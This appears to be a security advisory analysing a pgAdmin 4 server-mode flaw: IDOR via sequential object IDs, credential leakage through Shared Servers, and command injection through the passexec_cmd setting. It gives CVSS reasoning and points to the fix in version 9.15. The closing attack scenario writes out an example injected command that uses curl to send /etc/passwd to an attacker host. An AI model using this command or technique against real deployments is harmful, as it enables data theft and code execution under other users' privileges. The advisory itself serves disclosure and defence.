pgAdmin 4 EUVD-2026-29081

Requires authenticated access to a pgAdmin 4 instance running in server mode (multi-user deployment). Desktop mode installations are not vulnerable as each user operates an isolated instance. Attack succeeds against default server-mode configurations with no special feature enablement required beyond having at least two user accounts. Exploitation of the passexec_cmd privilege escalation specifically requires that the victim user has configured a server connection and later initiates a connection attempt, triggering command execution. The Shared Servers feature must be accessible to exploit credential leakage and owner-data corruption issues, though basic IDOR attacks against Server Groups and Background Processes modules work regardless of Shared Servers configuration. No network positioning beyond reaching the pgAdmin web interface is required (AV:N). Attack complexity is low (AC:L) as sequential ID guessing and standard HTTP API calls are sufficient.

Critical real-world risk despite requiring authentication (PR:L). The CVSS 9.9 score accurately reflects scope change (S:C) as attackers execute commands in the victim's process context, not their own. Attack complexity is low (AC:L) because exploitation requires only guessing sequential integer object IDs and calling standard API endpoints - no vulnerability-specific knowledge needed. The credential leakage component enables lateral movement beyond pgAdmin itself: stolen SSL keys and passfiles grant direct PostgreSQL database access. The passexec_cmd privilege escalation is particularly severe in containerized or multi-tenant environments where pgAdmin runs as a shared service account with elevated permissions. However, exploitation is contained to authenticated users within the same pgAdmin instance, limiting blast radius compared to unauthenticated remote code execution. The absence of POC code and KEV listing suggests exploitation has not yet become widespread, but the vulnerability is straightforward to exploit once an attacker has valid credentials. Organizations running pgAdmin 4 in server mode (versus desktop mode) face immediate risk. SSVC assessment: exploitation status unknown, automatable (API-driven), technical impact total (RCE + data theft). Patch availability in version 9.15 provides clear remediation path, making this a high-priority upgrade for server-mode deployments.

An authenticated low-privilege pgAdmin user enumerates server object IDs by incrementing integers in API requests to endpoints like /servers/{id}. Upon discovering another user's private PostgreSQL server connection, the attacker retrieves the full configuration including passfile paths and SSL certificate locations. The attacker then crafts a PATCH request to the Shared Servers API endpoint, injecting a malicious passexec_cmd value such as 'curl http://attacker.com/exfil?data=$(cat /etc/passwd)'. When the legitimate server owner next connects to their PostgreSQL instance, pgAdmin executes the attacker's shell command in the owner's process context, exfiltrating sensitive files or establishing a reverse shell with the owner's privileges.